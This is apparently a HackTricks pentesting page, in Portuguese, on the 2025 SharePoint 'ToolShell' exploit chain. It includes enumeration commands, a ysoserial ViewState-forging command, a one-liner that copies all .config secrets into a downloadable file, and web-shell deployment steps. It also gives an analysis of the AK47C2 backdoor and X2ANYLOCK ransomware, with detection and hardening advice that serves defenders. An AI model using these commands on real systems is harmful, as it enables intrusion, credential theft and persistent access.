# Microsoft SharePoint – Pentesting & Exploitation {{#include ../../banners/hacktricks-training.md}} > Microsoft SharePoint (local) é construído sobre ASP.NET/IIS. A maior parte da superfície de ataque web clássica (ViewState, Web.Config, web shells, etc.) está, portanto, presente, mas o SharePoint também vem com centenas de páginas ASPX proprietárias e serviços web que ampliam dramaticamente a superfície de ataque exposta. Esta página coleta truques práticos para enumerar, explorar e persistir dentro de ambientes SharePoint, com ênfase na cadeia de exploração de 2025 divulgada pela Unit42 (CVE-2025-49704/49706/53770/53771). ## 1. Quick enumeration ``` # favicon hash and keywords curl -s https:///_layouts/15/images/SharePointHome.png curl -s https:///_vti_bin/client.svc | file - # returns WCF/XSI # version leakage (often in JS) curl -s https:///_layouts/15/init.js | grep -i "spPageContextInfo" # interesting standard paths /_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain /_vti_bin/Lists.asmx # legacy SOAP service /_catalogs/masterpage/Forms/AllItems.aspx # enumerate sites & site-collections (requires at least Anonymous) python3 Office365-ADFSBrute/SharePointURLBrute.py -u https:// ``` ## 2. 2025 cadeia de exploração (a.k.a. “ToolShell”) ### 2.1 CVE-2025-49704 – Injeção de Código em ToolPane.aspx `/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=` permite que código *Server-Side Include* arbitrário seja injetado na página, que é posteriormente compilada pelo ASP.NET. Um atacante pode incorporar C# que executa `Process.Start()` e inserir um ViewState malicioso. ### 2.2 CVE-2025-49706 – Bypass de Autenticação Impropria A mesma página confia no cabeçalho **X-Forms_BaseUrl** para determinar o contexto do site. Ao apontá-lo para `/_layouts/15/`, a MFA/SSO aplicada no site raiz pode ser contornada **sem autenticação**. ### 2.3 CVE-2025-53770 – Desserialização de ViewState Não Autenticada → RCE Uma vez que o atacante controla um gadget em `ToolPane.aspx`, ele pode postar um valor `__VIEWSTATE` **não assinado** (ou apenas com MAC) que aciona a desserialização .NET dentro do *w3wp.exe*, levando à execução de código. Se a assinatura estiver habilitada, roube a **ValidationKey/DecryptionKey** de qualquer `web.config` (veja 2.4) e forje o payload com *ysoserial.net* ou *ysodom*: ``` ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" | ViewStateGenerator.exe --validation-key --decryption-key -o payload.txt ``` Para uma explicação detalhada sobre como abusar do ASP.NET ViewState, leia: {{#ref}} ../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md {{#endref}} ### 2.4 CVE-2025-53771 – Path Traversal / divulgação do web.config Enviar um parâmetro `Source` elaborado para `ToolPane.aspx` (por exemplo, `../../../../web.config`) retorna o arquivo alvo, permitindo a divulgação de: * `` ➜ forjar cookies ViewState / ASPXAUTH * strings de conexão e segredos. ## 3. Receitas de pós-exploração observadas na natureza ### 3.1 Exfiltrar todos os arquivos *.config* (variação-1) ``` cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js" ``` O `debug_dev.js` resultante pode ser baixado anonimamente e contém **todas** as configurações sensíveis. ### 3.2 Implantar um shell web ASPX codificado em Base64 (variação-2) ``` powershell.exe -EncodedCommand ``` Exemplo de payload decodificado (abreviado): ```csharp <%@ Page Language="C#" %> <%@ Import Namespace="System.Security.Cryptography" %> ``` Escrito para: ``` C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx ``` A shell expõe endpoints para **ler / girar chaves de máquina** que permitem forjar cookies ViewState e ASPXAUTH em toda a fazenda. ### 3.3 Variante ofuscada (variação-3) Mesma shell, mas: * colocada em `...\15\TEMPLATE\LAYOUTS\` * nomes de variáveis reduzidos a letras únicas * `Thread.Sleep()` adicionado para evasão de sandbox e bypass de AV baseado em tempo. ### 3.4 Backdoor multi-protocolo AK47C2 & ransomware X2ANYLOCK (observado 2025-2026) Investigações recentes de resposta a incidentes (Unit42 “Projeto AK47”) mostram como os atacantes aproveitam a cadeia ToolShell **após RCE inicial** para implantar um implante C2 de canal duplo e ransomware em ambientes SharePoint: #### AK47C2 – variante `dnsclient` * Servidor DNS hard-coded: `10.7.66.10` comunicando com o domínio autoritativo `update.updatemicfosoft.com`. * Mensagens são objetos JSON criptografados com XOR usando a chave estática `VHBD@H`, codificados em hex e incorporados como **rótulos de subdomínio**. ```json {"cmd":"","cmd_id":""} ``` * Consultas longas são divididas em partes e prefixadas com `s`, depois reassembladas no lado do servidor. * O servidor responde em registros TXT carregando o mesmo esquema XOR/hex: ```json {"cmd":"","cmd_id":"","type":"result","fqdn":"","result":""} ``` * A versão 202504 introduziu um formato simplificado `::` e marcadores de partes `1`, `2`, `a`. #### AK47C2 – variante `httpclient` * Reutiliza o mesmo JSON & rotina XOR, mas envia o blob hex no **corpo HTTP POST** via `libcurl` (`CURLOPT_POSTFIELDS`, etc.). * Mesmo fluxo de trabalho de tarefa/resultado permitindo: * Execução arbitrária de comandos de shell. * Intervalo de sono dinâmico e instruções de kill-switch. #### Ransomware X2ANYLOCK * Payload C++ de 64 bits carregado através de side-loading de DLL (veja abaixo). * Emprega AES-CBC para dados de arquivo + RSA-2048 para embrulhar a chave AES, depois anexa a extensão `.x2anylock`. * Criptografa recursivamente unidades locais e compartilhamentos SMB descobertos; ignora caminhos do sistema. * Lança nota em texto claro `How to decrypt my data.txt` incorporando um **Tox ID** estático para negociações. * Contém um **kill-switch** interno: ```c if (file_mod_time >= "2026-06-06") exit(0); ``` #### Cadeia de side-loading de DLL 1. O atacante escreve `dllhijacked.dll`/`My7zdllhijacked.dll` ao lado de um legítimo `7z.exe`. 2. O `w3wp.exe` gerado pelo SharePoint inicia `7z.exe`, que carrega a DLL maliciosa devido à ordem de busca do Windows, invocando o ponto de entrada do ransomware na memória. 3. Um loader LockBit separado observado (`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`) descriptografa o shell-code e realiza **DLL hollowing** em `d3dl1.dll` para executar LockBit 3.0. > [!INFO] > O mesmo Tox ID estático encontrado no X2ANYLOCK aparece em bancos de dados vazados do LockBit, sugerindo sobreposição de afiliados. --- ## 4. Ideias de detecção | Telemetria | Por que é suspeito | |-----------|----------------------| | `w3wp.exe → cmd.exe` | O processo de trabalho raramente deve gerar shell | | `cmd.exe → powershell.exe -EncodedCommand` | Padrão clássico de lolbin | | Eventos de arquivo criando `debug_dev.js` ou `spinstall0.aspx` | IOCs diretamente do ToolShell | | `ProcessCmdLine CONTÉM ToolPane.aspx` (logs ETW/Módulo) | PoCs públicas invocam esta página | Exemplo de regra XDR / Sysmon (pseudo-XQL): ``` proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe") ``` ## 5. Dureza & Mitigação 1. **Patch** – Atualizações de segurança de julho de 2025 corrigem *todos* os quatro CVEs. 2. **Rotacione** todos os segredos de `` e `ViewState` após a violação. 3. Remova a permissão de escrita *LAYOUTS* dos grupos `WSS_WPG` & `WSS_ADMIN_WPG`. 4. Bloqueie o acesso externo a `/_layouts/15/ToolPane.aspx` no nível do proxy/WAF. 5. Ative **ViewStateUserKey**, **MAC habilitado** e *EventValidation* personalizado. ## Truques relacionados * IIS pós-exploração & abuso de web.config: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}} ## Referências - [Unit42 – Exploração Ativa de Vulnerabilidades do Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) - [GitHub PoC – Cadeia de exploração ToolShell](https://github.com/real-or-not/ToolShell) - [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) - [Unit42 – Projeto AK47 / Exploração do SharePoint & Atividade de Ransomware](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/) - [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) {{#include ../../banners/hacktricks-training.md}}